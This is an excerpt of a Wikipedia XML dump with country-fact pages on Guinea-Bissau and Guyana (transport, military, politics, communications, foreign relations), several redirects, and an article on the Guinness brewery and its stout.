  <page>
    <title>Transport in Guinea-Bissau</title>
    <id>12193</id>
    <revision>
      <id>37833168</id>
      <timestamp>2006-02-02T12:01:55Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <minor />
      <comment>moved [[Transportation in Guinea-Bissau]] to [[Transport in Guinea-Bissau]]: part of a series</comment>
      <text xml:space="preserve">{{CIA}}

'''[[Railway]]s:'''
0 km

'''[[Highway]]s:'''
&lt;br&gt;''total:''
4,400 km
&lt;br&gt;''paved:''
453 km
&lt;br&gt;''unpaved:''
3,947 km (1996 est.)

'''Waterways:'''
several rivers are accessible to coastal shipping

'''[[Seaport]]s and [[harbor]]s:'''
[[Bissau]], [[Buba]], [[Cacheu]], [[Farim]]

'''[[Merchant marine]]:'''
none (1999 est.)

'''[[Airport]]s:'''
30 (1999 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
3
&lt;br&gt;''over 3,047 m:''
1
&lt;br&gt;''1,524 to 2,437 m:''
1
&lt;br&gt;''914 to 1,523 m:''
1 (1999 est.)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
27
&lt;br&gt;''1,524 to 2,437 m:''
1
&lt;br&gt;''914 to 1,523 m:''
4
&lt;br&gt;''under 914 m:''
22 (1999 est.)

:''See also :'' [[Guinea-Bissau]]

{{Africa in topic|Transport in}}

[[Category:Transportation in Guinea-Bissau| ]]

{{Africa-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Military of Guinea-Bissau</title>
    <id>12194</id>
    <revision>
      <id>15909897</id>
      <timestamp>2004-09-20T02:13:35Z</timestamp>
      <contributor>
        <username>Ingoolemo</username>
        <id>71699</id>
      </contributor>
      <minor />
      <comment>categorisation</comment>
      <text xml:space="preserve">'''Military branches:'''
People's Revolutionary Armed Force (FARP; includes Army, Navy, and Air Force), paramilitary force

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
296,482 (2000 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
168,930 (2000 est.)

'''Military expenditures - dollar figure:'''
$8 million (FY96)

'''Military expenditures - percent of GDP:'''
2.8% (FY96)

==References and Links==
*[[Guinea-Bissau]]
[[Category:Guinea-Bissau]]
[[Category:Militaries|Guinea-Bissau]]</text>
    </revision>
  </page>
  <page>
    <title>Guyana/History</title>
    <id>12196</id>
    <revision>
      <id>15909898</id>
      <timestamp>2002-06-13T22:15:06Z</timestamp>
      <contributor>
        <username>Danny</username>
        <id>584</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Guyana]]</text>
    </revision>
  </page>
  <page>
    <title>Guyana/Geography</title>
    <id>12197</id>
    <revision>
      <id>15909899</id>
      <timestamp>2002-06-13T22:13:43Z</timestamp>
      <contributor>
        <username>Danny</username>
        <id>584</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Guyana]]</text>
    </revision>
  </page>
  <page>
    <title>Guyana/People</title>
    <id>12198</id>
    <revision>
      <id>15909900</id>
      <timestamp>2002-08-20T15:41:30Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Demographics of Guyana]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Guyana</title>
    <id>12199</id>
    <revision>
      <id>35995794</id>
      <timestamp>2006-01-20T20:04:45Z</timestamp>
      <contributor>
        <username>Darwinek</username>
        <id>107928</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Politics of Guyana}}
[[Legislative]] power of [[Guyana]] rests in a [[unicameral]] National Assembly, with 53 members chosen on the basis of proportional representation from national lists named by the [[political]] parties. An additional 12 members are elected by regional councils at the same time as the National Assembly. The elections system was revised for the [[2001]] elections. The [[president]] may dissolve the assembly and call new elections at any time, but no later than 5 years from its first sitting.

[[Executive (government)|Executive]] authority is exercised by the president, who appoints and supervises the [[prime minister]] and other [[political minister|minister]]s. The president is not directly elected; each party presenting a slate of candidates for the assembly must designate in advance a leader who will become president if that party receives the largest number of votes. Any [[dissolution]] of the assembly and election of a new assembly can lead to a change in the assembly majority and consequently a change in the presidency. Only the prime minister is required to be a member of the assembly. In practice, most other ministers also are members. Those who are not serve as nonelected members, which permits them to debate but not to vote.

The highest [[judicial]] body is the [[Court]] of Appeal, headed by a chancellor of the [[judiciary]]. The second level is the [[High Court (Guyana)]], presided over by a [[chief justice]]. The chancellor and the chief justice are appointed by the president.

For administrative purposes, Guyana is divided into 10 regions, each headed by a chairman who presides over a regional democratic council. Local communities are administered by village or city councils.

'''Political conditions'''&lt;br&gt;
[[Race]] and [[ideology]] have been the dominant political influences in Guyana. Since the split of the multiracial PPP in [[1955]], politics has been based more on [[ethnicity]] than on [[ideology]]. From [[1964]] to [[1992]], the PNC dominated Guyana's politics. The PNC draws its support primarily from [[urban area | urban]] [[Black]]s, and for many years declared itself a [[socialist]] party whose purpose was to make Guyana a nonaligned socialist state, in which the party, as in [[communist]] countries, was above all other institutions.

The overwhelming majority of Guyanese of East Indian extraction traditionally have backed the People's Progressive Party, headed by the Jagans. [[Rice]] [[farmer]]s and [[sugar]] [[worker]]s in the [[rural]] areas form the bulk of PPP's support, but Indo-Guyanese who dominate the country's urban [[business]] community also have provided important support.

Following independence, and with the help of substantial foreign aid, social benefits were provided to a broader section of the [[population]], specifically in [[health]], [[education]], [[housing]], [[road]] and bridge building, [[agriculture]], and rural development. However, during Forbes Burnham's last years, the government's attempts to build a socialist society caused a massive emigration of skilled workers, and, along with other economic factors, led to a significant decline in the overall quality of life in Guyana.

After Burnham's death in [[1985]], President Hoyte took steps to stem the economic decline, including strengthening financial controls over the parastatal corporations and supporting the private sector. In August [[1987]], at a PNC Congress, Hoyte announced that the PNC rejected orthodox communism and the one-party state.

As the elections scheduled for [[1990]] approached, Hoyte, under increasing pressure from inside and outside Guyana, gradually opened the political system. After a visit to Guyana by former U.S. President [[Jimmy Carter]] in [[1990]], Hoyte made changes in the electoral rules, appointed a new chairman of the Elections Commission, and endorsed putting together new voters' lists, thus delaying the election. The elections, which finally took place in [[1992]], were witnessed by 100 international observers, including a group headed by Mr. Carter and another from the [[commonwealth]] of nations. Both groups issued reports saying that the elections had been free and fair, despite violent attacks on the Elections Commission building on election day and other irregularities.

Cheddi Jagan served as Premier ([[1957]]-[[1964]]) and then minority leader in Parliament until his election as President in [[1992]]. One of the [[Caribbean]]'s most charismatic and famous leaders, Jagan was a founder of the PPP which led Guyana's struggle for independence. Over the years, he moderated his [[Marxism-Leninism|Marxist-Leninist]] [[ideology]]. After his election as President, Jagan demonstrated a commitment to democracy, followed a pro-Western foreign policy, adopted [[free market]] policies, and pursued sustainable development for Guyana's environment. Nonetheless, he continued to press for debt relief and a new global human order in which developed countries would increase assistance to less developed nations. Jagan died on [[6 March]], [[1997]], and was succeeded by Samuel A. Hinds, whom he had appointed Prime Minister. President Hinds then appointed Janet Jagan, [[widow]] of the late President, to serve as Prime Minister.

In national elections on [[15 December]], [[1997]], Janet Jagan was elected President, and her PPP party won a 55% majority of seats in Parliament. She was sworn in on [[19 December]]. Mrs. Jagan is a founding member of the PPP and was very active in party politics. She was Guyana's first female prime minister and vice president, two roles she performed concurrently before being elected to the presidency. She was also unique in being white, Jewish and a naturalized citizen (born in the [[United States]].)

The PNC, which won just under 40% of the vote, disputed the results of the [[1997]] elections, alleging electoral fraud. Public demonstrations and some violence followed, until a CARICOM team came to Georgetown to broker an accord between the two parties, calling for an international audit of the election results, a redrafting of the constitution, and elections under the constitution within 3 years. Elections took place on [[19 March]], [[2001]].  Over 150 international observers representing six international missions witnessed the polling.  The observers pronounced the elections fair and open although marred by some administrative problems.

{{CIA}}
'''Country name:'''
&lt;br&gt;''conventional long form:''
Co-operative Republic of Guyana
&lt;br&gt;''conventional short form:''
Guyana
&lt;br&gt;''former:'' British Guiana

'''Data code:''' GY

'''Government type:''' republic within the Commonwealth

'''Capital:''' [[Georgetown, Guyana|Georgetown]]

'''Administrative divisions:'''
10 regions; Barima-Waini, Cuyuni-Mazaruni, Demerara-Mahaica, East Berbice-Corentyne, Essequibo Islands-West Demerara, Mahaica-Berbice, Pomeroon-Supenaam, Potaro-Siparuni, Upper Demerara-Berbice, Upper Takutu-Upper Essequibo

'''Independence:''' [[26 May]] [[1966]] (from UK)

'''National holiday:''' [[Republic Day]], [[23 February]] ([[1970]])

'''Constitution:''' [[6 October]] [[1980]]

'''Legal system:'''
based on English common law with certain admixtures of Roman-Dutch law; has not accepted compulsory ICJ jurisdiction

'''Suffrage:''' 18 years of age; universal

'''Executive branch:'''
&lt;br&gt;''chief of state:''
President Bharrat Jagdeo (since NA August 1999); note - assumed presidency after resignation of President Jagan
&lt;br&gt;''head of government:''
Prime Minister Samuel Hinds (since NA December 1997)
&lt;br&gt;''cabinet:''
Cabinet of Ministers appointed by the president, responsible to the legislature
&lt;br&gt;''elections:''
president elected by the majority party in the National Assembly following legislative elections, which must be held at least every five years; elections last held [[15 December]] [[1997]] (next to be held by January 2001); prime minister appointed by the president

'''Legislative branch:'''
unicameral National Assembly (65 seats, 53 popularly elected; members serve five-year terms)
&lt;br&gt;''elections:''
last held [[15 December]] [[1997]] (next to be held by January 2001; this date was part of a negotiated settlement between the two main political parties following a dispute over the December elections)
&lt;br&gt;''election results:''
percent of vote by party - PPP 54%, PNC 41%, AFG 1%, TUF 1%; seats by party - PPP 29, PNC 22, AFG 1, TUF 1

'''Judicial branch:'''
Supreme Court of Judicature; Judicial Court of Appeal; High Court

'''Political parties and leaders:'''
Alliance for Guyana or AFG [Rupert Roopnarine]; Democratic Labor Movement or DLM [Paul Tennassee]; For a Good and Green Guyana or GGG [Hamilton Green]; Guyana Democratic Party or GDP [Asgar Ally]; Guyana Labor Party or GLP [leader NA]; Guyanese Organization for Liberty and Democracy Party or GOLD [Anthony Mekdeci]; National Democratic Front or NDF [Joseph Bacchus]; National Republican Party or NRP [Robert Gangadeen]; People's Democratic Movement or PDM [Llewellyn John]; People's National Congress or PNC [Hugh Desmond Hoyte]; People's Progressive Party or PPP [leader NA]; The United Force or TUF [Manzoor Nadir]; Working People's Alliance or WPA [leader NA]

'''Political pressure groups and leaders:'''
Civil Liberties Action Committee or CLAC; Guyana Council of Indian Organizations or GCIO; Trades Union Congress or TUC
&lt;br&gt;''note:'' the GCIO and the CLAC are small and active but not well organized

'''International organization participation:'''
ACP, C, [[Caricom]], CCC, [[Caribbean Development Bank|CDB]], ECLAC, FAO, G-77, IADB, IBRD, ICAO, ICFTU, ICRM, IDA, IFAD, IFC, IFRCS, ILO, IMF, IMO, Intelsat (nonsignatory user), [[Interpol]], IOC, ISO (subscriber), ITU, LAES, NAM, OAS, OPANAL, OPCW, PCA, UN, UNCTAD, UNESCO, UNIDO, UPU, WCL, WFTU, WHO, WIPO, WMO, WTrO

'''Flag description:'''
green, with a red isosceles triangle (based on the hoist side) superimposed on a long, yellow arrowhead; there is a narrow, black border between the red and yellow, and a narrow, white border between the yellow and the green.

{{South America in topic|Politics of}}

[[Category:Politics of Guyana| ]]</text>
    </revision>
  </page>
  <page>
    <title>Guyana/Economy</title>
    <id>12200</id>
    <revision>
      <id>15909902</id>
      <timestamp>2002-06-13T22:16:59Z</timestamp>
      <contributor>
        <username>Danny</username>
        <id>584</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of Guyana]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Guyana</title>
    <id>12201</id>
    <revision>
      <id>41614480</id>
      <timestamp>2006-02-28T14:59:17Z</timestamp>
      <contributor>
        <username>Lucia12</username>
        <id>579106</id>
      </contributor>
      <text xml:space="preserve">{{CIA}}

'''[[Telephone]]s - main lines in use:'''
102,700 (2004 - source: ITU)

'''Telephones - mobile cellular:'''
219,000 (Sep 2005 - source: Informa Telecoms)

'''Telephone system:'''
fair system for long-distance calling
&lt;br&gt;''domestic:''
microwave radio relay network for trunk lines
&lt;br&gt;''international:''
tropospheric scatter to [[Trinidad]]; satellite earth station - 1 [[Intelsat]] ([[Atlantic Ocean]]); Americas II submarine cable

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
[[AM radio|AM]] 3, [[FM]] 3, [[shortwave]] 1 (1998)

'''Radios:'''
420,000 (1997)

'''[[Television]] broadcast stations:'''
over 10 (one public station; several private stations which relay US satellite services and some local programs)(2005)


'''Televisions:'''
46,000 (1997)

'''[[Internet Services]]:'''
*Internet Service Providers (ISPs): 3 (2005) - [http://www.networksgy.com Inter.Net.Works], [http://www.solutions2000.net Solutions2000] and [http://www.guyana.net.gy GuyanaNet]
*Broadband and Wireless ISPs (WISPs): 4 (2005) - [http://www.gtt.co.gy GT&amp;T], [http://www.inetguyana.net I-Net], [http://www.bbgy.com Broadband Inc.] and [http://www.ewirelessgy.com/ E-Networks]
*Internet Presence Providers (IPP) (hosting and development): [http://www.redspider.biz RedSpider]

'''[[Country code]] (Top-level domain):''' GY. Domain Name Registrar (.org.gy, .edu.gy &amp; .gov.gy): [http://www.devnet.org.gy DevNet]

:''See also :'' [[Guyana]]

{{South America in topic|Communications in}}

[[Category:Communications by country|Guyana]]
[[Category:Communications in Guyana| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Guyana</title>
    <id>12202</id>
    <revision>
      <id>40449342</id>
      <timestamp>2006-02-20T17:09:07Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{South America in topic|Transportation in}}</comment>
      <text xml:space="preserve">{{CIA}}

'''[[Railway]]s:'''
&lt;br&gt;''total:''
187 km (all dedicated to ore transport)
&lt;br&gt;''standard gauge:''
139 km 1.435-m gauge
&lt;br&gt;''narrow gauge:''
48 km 0.914-m gauge

'''[[Highway]]s:'''
&lt;br&gt;''total:''
7,970 km
&lt;br&gt;''paved:''
590 km
&lt;br&gt;''unpaved:''
7,380 km (1996 est.)
It is now possible to travel overland to Suriname by taking the ferry on the Guyana side at Molson Creek and crossing the Corentyne River over to Suriname. While travel to Brazil is via the old cattle trail has been upgraded into a fair weather track which passes through the bauxite town of Linden and ending at Lethem. Currently a bridge over the Rupunini River is being built by the Brazilians to enable a smooth passge between the two countries.  

'''Waterways:'''
5,900 km total of navigable waterways; [[Berbice]], [[Demerara]], and [[Essequibo]] Rivers are navigable by oceangoing vessels for 150 km, 100 km, and 80 km, respectively

'''[[Seaport]]s and [[harbor]]s:'''
[[Bartica]], [[Georgetown, Guyana|Georgetown]], [[Linden, Guyana|Linden]], [[New Amsterdam]], [[Parika]]

'''[[Merchant marine]]:'''
&lt;br&gt;''total:''
1 ship (1,000 GRT or over) totaling 1,023 GRT/1,972 DWT
&lt;br&gt;''ships by type:''
cargo 1 (1999 est.)

'''[[Airport]]s:'''
51 (1999 est.)

'''International Airport: [http://www.cjairport-gy.com Cheddi Jagan International Airport]'''

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
5
&lt;br&gt;''1,524 to 2,437 m:''
2
&lt;br&gt;''914 to 1,523 m:''
1
&lt;br&gt;''under 914 m:''
2 (1999 est.)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
46
&lt;br&gt;''1,524 to 2,437 m:''
2
&lt;br&gt;''914 to 1,523 m:''
7
&lt;br&gt;''under 914 m:''
37 (1999 est.)

:''See also :'' [[Guyana]]

{{South America in topic|Transportation in}}


[[Category:Transportation in Guyana]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Guyana</title>
    <id>12203</id>
    <revision>
      <id>15909905</id>
      <timestamp>2004-08-06T04:38:18Z</timestamp>
      <contributor>
        <username>Poccil</username>
        <id>79805</id>
      </contributor>
      <comment>#redirect [[Guyana]]</comment>
      <text xml:space="preserve">#redirect [[Guyana]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Guyana</title>
    <id>12204</id>
    <revision>
      <id>40448615</id>
      <timestamp>2006-02-20T17:02:17Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{South America in topic|Foreign relations of}}</comment>
      <text xml:space="preserve">After independence in [[1966]], Guyana sought an influential role in international affairs, particularly among Third World and nonaligned nations. It served twice on the UN Security Council (1975-76 and 1982-83). Former Vice President, Deputy Prime Minister, and Attorney General Mohamed Shahabuddeen served a 9-year term on the [[International Court of Justice]] (1987-96).

Guyana has diplomatic relations with a wide range of nations. The [[European Union]] (EU), the [[Inter-American Development Bank]] (IDB), the UN Development Programme (UNDP), the [[World Health Organization]] (WHO), and the [[Organization of American States]] (OAS) have offices in Georgetown.

Guyana strongly supports the concept of regional integration. It played an important role in the founding of the [[Caribbean Community and Common Market]] (CARICOM), but its status as the organization's poorest member limits its ability to exert leadership in regional activities. Guyana has sought to keep foreign policy in close alignment with the consensus of CARICOM members, especially in voting in the UN, OAS, and other international organizations. In [[1993]], Guyana ratified the 1988 Vienna Convention on illicit traffic in narcotic drugs and cooperates with U.S. law enforcement agencies on counternarcotics efforts.

Two neighbours have longstanding territorial disputes with Guyana. Since the 19th century, [[Venezuela]] has claimed all of Guyana west of the [[Essequibo River]] -- 62% of Guyana's territory. At a meeting in Geneva in [[1966]], the two countries agreed to receive recommendations from a representative of the UN Secretary General on ways to settle the dispute peacefully. Diplomatic contacts between the two countries and the Secretary General's representative continue. Neighbouring [[Suriname]] also claims the territory east of Guyana's New River, a largely uninhabited area of some 15,000 square kilometres (6,000 square miles) in southeast Guyana. Guyana and Suriname also dispute their offshore maritime boundaries. This dispute flared up in June 2000 in response to an effort by a Canadian company to drill for oil under a Guyanese concession. Guyana regards its legal title to all of its territory as sound.

'''Disputes - international:'''
all of the area west of the [[Essequibo River]] claimed by [[Venezuela]]; [[Suriname]] claims area east of the New (Upper Courantyne)
:''See also :'' [[Guyana]], &lt;nowiki&gt;Courantyne/Kutari&lt;/nowiki&gt; [Koetari] Rivers (all headwaters of the Courantyne)

'''Illicit drugs:'''
transshipment point for [[narcotic]]s from South America - primarily Venezuela - to [[Europe]] and the [[United States]]; producer of [[cannabis]]

:''See also :'' [[Guyana]]

{{South America in topic|Foreign relations of}}

[[Category:Guyana]]
[[Category:Foreign relations by country|Guyana, Foreign affairs of]]</text>
    </revision>
  </page>
  <page>
    <title>Guinness</title>
    <id>12205</id>
    <revision>
      <id>42079055</id>
      <timestamp>2006-03-03T18:01:27Z</timestamp>
      <contributor>
        <username>BrendanH</username>
        <id>47438</id>
      </contributor>
      <comment>/* Trivia */ Deleted too-trivial sentence (there is a limit)</comment>
      <text xml:space="preserve">:''This article is about the beer brewery. See also [[Guinness World Records|Guinness Book of Records]].''
{{brewbox_begin|name=Arthur Guinness Son &amp; Co.}}
{{brewbox_image|image=[[Image:Guinness logo.png|128px]]|caption=}}
{{brewbox_location|location=[[Dublin]], [[Ireland]]}}
{{brewbox_owner|owner=[[Diageo]]}}
{{brewbox_opened|year=[[1756]]}}
{{brewbox_production|amount=100 million [[litre]]s}}
{{brewbox_beers}}
{{brewbox_beer|name=Guinness Draught|style=[[Stout]]}}
{{brewbox_beer|name=Guinness Extra Stout|style=[[Stout]]}}
{{brewbox_beer|name=Guinness Original|style=[[Stout]]}}
{{brewbox_beer|name=Harp Lager|style=[[Lager]]}}
{{brewbox_beer|name=Smithwick's|style=[[Ale]]}}
{{brewbox_beer|name=Cashels|style=[[Cider]]}}
{{brewbox_end}}
'''Arthur Guinness Son &amp; Co.''', founded [[1756]], produces a dark [[stout]] [[beer]] (a type of [[porter (beer)|porter]]), known widely as '''Guinness'''. 
The first use of the word stout about beer was the Stout-Porter brewed by Guinness of Ireland in 1820, although Guinness had been brewing porters and ales since 1759, initially in [[Leixlip]], but at the [[St. James's Gate Brewery]], [[Dublin]], [[Ireland]] since [[1759]], when [[Arthur Guinness]] signed a 9,000 year lease at [[Irish pound|IR&amp;pound;]]45 per annum for the unused brewery. Ten years later in [[1769]] Guinness exported their product for the first time.  Six and a half barrels of Guinness Beer were shipped from Ireland to England.  It is also brewed under licence internationally; the resulting beer is, from all reports, significantly different. The Guinness brewery in [[Park Royal]], [[London]] closed in [[2005]].

==Composition==
Guinness [[stout]] is made from four natural ingredients: [[water]], [[barley]], [[hops]] and [[yeast]]. As with most beer, the majority of the barley is malted, but a significant proportion is roasted to give Guinness its dark colour and characteristic taste. Despite the &quot;meal in a glass&quot; or &quot;liquid bread&quot; reputation the beverage has among some non-Guinness drinkers, Guinness only contains 198 [[calories]] (838 [[joule|kilojoules]]) per imperial [[pint]] (1460 kJ/[[litre|L]]), less than an equal-sized serving of [[skimmed milk]] or [[orange juice]]. Despite its appearance as a dark and over-powering stout beer, Guinness is actually quite tame and mellow for a stout, and can be enjoyed with most food. Many stout beer aficionados claim it is watery compared to other, more malty stout brews. 

[[Draught beer | Draught]] Guinness and its canned namesake contain [[nitrogen]] (N&lt;sub&gt;2&lt;/sub&gt;) as well as [[carbon dioxide]] (CO&lt;sub&gt;2&lt;/sub&gt;). Unlike carbon dioxide, nitrogen does not dissolve in water, which allows the beer to be put under high pressure without making it fizzy. The high pressure is required to force the draught beer through fine holes in a plate in the tap, which causes the characteristic &quot;surge&quot; (the [[Widget (beer)|widget]] in cans and bottles achieves the same effect). The perceived smoothness of draught Guinness is due to the low acidity and the creaminess of the head caused by the surging. &quot;Original Extra Stout&quot; tastes quite different; it contains only CO&lt;sub&gt;2&lt;/sub&gt;, making a more acidic taste.

===Pouring and serving===
[[Image:Ireland 37 bg 061402.jpg|thumb|250px|right|A &quot;perfectly poured&quot; Guinness pint with some brown bread.]]
Draught Guinness is considered at its best flavour when served cool, although not necessarily cold. It should be poured slowly at a 45° angle; about three quarters is poured and left to settle before the rest is added. The tap handle should be pushed forward, rather than pulled, when the beer is topped off. This creates the characteristic creamy head that lasts until the last sip. The perfect pint should have a head just proud of the rim of the glass, and no overspill. Recent advertising campaigns state that &quot;it takes 119.6 [[second]]s to pour the perfect pint&quot; of Guinness. While this method of pouring (slow) is done in Ireland and the UK, many American bars (not all) seem to ignore the requisite 'slow pour'.

Some [[bartender]]s also draw a simple design in the head during the slow pour. [[Shamrock]]s and harps are quite popular designs for this.

It is a common myth that Guinness is brewed using water from the [[River Liffey]], which flows through Dublin close to St James's Gate. It actually comes from the [[Wicklow Mountains]], specifically, [[Lady's Well]].

===Sinking bubbles===
A long time subject of bar conversations has been the observation that gas bubbles travel ''downwards'' in a pint glass of Guinness. {{ref|sink1}}, {{ref|sink2}}

The effect is attributed to drag; bubbles which touch the walls of a glass are slowed in their upwards travel. Bubbles in the centre of the glass are, however, free to rise to the surface, and form a rising column of bubbles. The rising bubbles create a [[Current (fluid)|current]] by the [[entrainment]] of the surrounding fluid.  As beer rises in the center, the beer near the outside of the glass falls. This downward flow pushes the bubbles near the glass towards the bottom.  Although the effect occurs in any liquid, it is particularly noticeable in any dark nitrogen stout, as the drink combines dark-coloured liquid and light-coloured bubbles.

==Varieties==
[[Image:GuinnessBeer.jpg|thumb|Guinness Original/Extra Stout]]
Guinness is available in a number of variants and strengths, which include:
*Guinness [[draught beer|draught]] stout, sold in kegs—4.1 to 4.3% alcohol by volume (abv);
*Extra Cold draught stout, sold in kegs and put through a super cooler—4.1 to 4.3% abv;
*Bottled Guinness draught, which includes a patented &quot;rocket widget&quot; to simulate the draught taste—4.1 to 4.3% abv;
*Canned Guinness draught, which includes a similar but differently shaped [[widget]]—4.1 to 4.3% abv;
*Guinness Original/Extra Stout, as near to Arthur Guinness' original porter as can be obtained today—4.2 or 4.3% abv (England, Ireland), 5% abv (Canada, mainland Europe), and 6% abv (United States, Australia, Japan);
*Guinness Foreign Extra Stout, sold in West Africa, the Caribbean and Asia—5% abv (China), 6.5% abv (Jamaica), 7.5% abv (Africa) and 8% abv (Malaysia);
*Guinness Foreign Extra Stout Nigeria, uses sorghum in the brewing process instead of barley—sold in Nigeria and Great Britain—7.5% abv;
*Guinness Special Export Stout, sold in Belgium—8% abv;
*Guinness Bitter, an English-style bitter beer—4.4% abv;
*Guinness Extra Smooth, a smoother stout sold in Ghana, Cameroon and Nigeria—5.5% abv;
*Malta Guinness, a non-alcoholic sweet drink, sold in Africa;
*Guinness Mid-Strength, a low-alcohol stout being test-marketed in [[Limerick]], [[Ireland]] from March 2006—2.8% abv. {{ref|mid}}

The Guinness brewery also makes other brands of alcoholic drinks, including Harp, [[Smithwick's]] and Kilkenny.  The company has a regional franchise (for Ireland) to produce [[Budweiser (Anheuser-Busch)|Budweiser]] beer, as well as [[Carlsberg]] lager.

[[Image:Widget_Guiness.jpg|thumb|Guinness original widget]]


In October 2005, Guinness introduced the Brewhouse Series — a limited-edition collection of draft stouts that will be available for six months each.  The first stout in the series is Brew 39, which is being released in Dublin from October 2005 to March 2006.  It has the same alcohol content (abv) as Guinness Draught, uses the same gas mix and settles in the same way, but has a slightly different taste.  Other variants will be on tap across Ireland.

Withdrawn Guinness variants include Guinness's Brite Lager, Guinness's Brite Ale, Guinness Light, Guinness XXX Extra Strong Stout, Guinness Cream Stout, Guinness Gold, Guinness Pilsner and Guinness Special Light.  Other withdrawn beers produced by Guinness include Enigma Draught Lager and Breo White Beer, as well as the St. James's Gate Beers: Pilsner Gold, Wicked Red Ale, Wildcat Wheat Beer and Dark Angel Lager.

A brewing byproduct of Guinness, [[Guinness Yeast Extract]] (GYE), was produced until the 1950s.

==Marketing==
Guinness has a long [[alcohol advertising|history of marketing campaigns]], from award-winning television commercials to beer mats and posters.

[[Nigeria]] is the third largest and fastest-growing Guinness market in the world.  However, as the cultivation of barley is restricted in Nigeria, the local version is made primarily from [[sorghum]].

===Advertising===
Guinness uses the [[Brian Boru]], or [[Trinity College Harp]] as their [[trademark]]. This circa [[14th century]] harp which is still visible at [[Trinity College, Dublin]] has been used as a symbol of Ireland since the reign of [[Henry VIII of England|Henry VIII]] ([[16th century]]). Guinness adopted the harp as a [[logotype|logo]] in [[1862]], however it is shown in a form that faces left instead of right as in the coat of arms.

[[Image:Guinness Toucan-ad.jpg|thumb|left|One of the more famous advertising posters from the Gilroy Era of the 40's]]
[[Image:MyGoodnessMyGuiness.jpg|thumb|right|[[World War II]] era Guinness advertising poster.]]
Guinness's iconic stature can be attributed in part to its [[alcohol advertising|advertising]].  The most notable and recognisable series of adverts was created by Benson's advertising, primarily [[John Gilroy]], in the 1930s and 40s. Gilroy was responsible for creating posters which included such phrases such as &quot;Guinness for Strength&quot;, &quot;Lovely Day for a Guinness&quot;, &quot;Guinness Makes You Strong&quot; &quot;My Goodness My Guinness&quot; and most famously, &quot;Guinness is Good For You&quot;.  The posters featured Gilroy's distinctive artwork and more often than not featured animals such as a [[kangaroo]], [[ostrich]], [[Pinniped|seal]], [[lion]], and notably a [[toucan]], which has become as much a symbol of Guinness as the harp. (An advertisement from the 1940s ran with the following jingle: ''Toucans in their tests agree/Guinness is good for you./Try some today and see/What one or toucan do.'')  Guinness has recently taken the dominant share in the [[Africa]]n beer market with its [[Michael Power (Guinness character)|Michael Power]] advertising campaign.  Guinness advertising paraphernalia attracts high prices on the collectible market.

In 2000, Guinness's 1999 advert ''Surfer'' was named the best television commercial of all time in a UK poll conducted by ''[[The Sunday Times (UK)|The Sunday Times]]'' and [[Channel 4]]. ''Surfer'' was produced by the advertising agency [[Abbott Mead Vickers BBDO]]; the advertisement can be downloaded from their website.{{ref|Surfer}}

Guinness was awarded the 2001 [[Clio Award]] as the Advertiser of the Year, citing the work of five separate ad agencies around the world.{{ref|Clio}}

===Merchandising===
During [[Saint Patrick's Day]], Guinness merchandise is available in many places that sell the drink.  This includes clothing and hats, often available from behind the bar after a specific number of pints of Guinness have been purchased.

Guinness fans can visit the [http://www.guinness-storehouse.com/index.asp Guinness Storehouse] in Dublin, which has been described as [[Disneyland]] for the beer (or, perhaps, more accurately, stout) lover. Located on the site of the St. James' Gate brewery, the Storehouse is an interactive, multimedia experience taking you through all things Guinness.

==History of ownership==
The grandson of the original [[Arthur Guinness]], Sir [[Benjamin Guinness]], was [[Lord Mayor of Dublin]] and was created a baronet in [[1867]], only to die the next year. His eldest son [[Arthur Edward Guinness, Baron Ardilaun|Arthur]], [[Baron Ardilaun]] ([[1840]]&amp;ndash;[[1915]]), sold control of the brewery to Sir Benjamin's third son [[Edward Cecil Guinness, 1st Earl of Iveagh|Edward]] ([[1847]]&amp;ndash;[[1927]]), who became 1st [[Earl of Iveagh]]. He, his son and great-grandson, the 2nd and 3rd Earls, chaired the Guinness company into the [[1980s]], at which time non-family chief executive [[Ernest Saunders]] became chairman as part of the merger with leading [[Scotch whisky]] producer [[United Distillers]]. After Saunders was forced out following revelations that the United stock price had been illegally manipulated, the family presence on the board declined rapidly, and today no Guinness sits on the board of the holding company [[Diageo]] PLC.

== Book of Records ==
The Guinness company also produced the ''[[Guinness Book of Records]]'', which originated in [[1955]] when a debate in a pub after a hunt could not be settled with existing reference books. After merger with the firms of Arthur Bell and United Distillers, the firm became Guinness PLC, and was no longer headed by a family member. It combined with Grand Metropolitan to form [[Diageo]] PLC in 1997, at which point the Book of Records was sold to [[Gullane Entertainment]], who in turn were purchased in [[2002]] by the book's current publishers, [[HIT Entertainment]].

== The Lions Gate Bridge == 
The Guinness Family built the [[Lions Gate Bridge]] in Vancouver (or more accurately paid for its construction) which connects [[Vancouver]] to [[North Vancouver]] and [[West Vancouver]] over [[Burrard Inlet]].  The Guinness family sold the bridge to the province of [[British Columbia]] for over 6 million dollars in 1955.

== Trivia ==
Among the Cantonese-speaking Chinese locals in Singapore and Malaysia, Guinness Stout is known as &quot;Hak Gau Peh&quot;, literally means &quot;Black Dog Beer&quot;. 
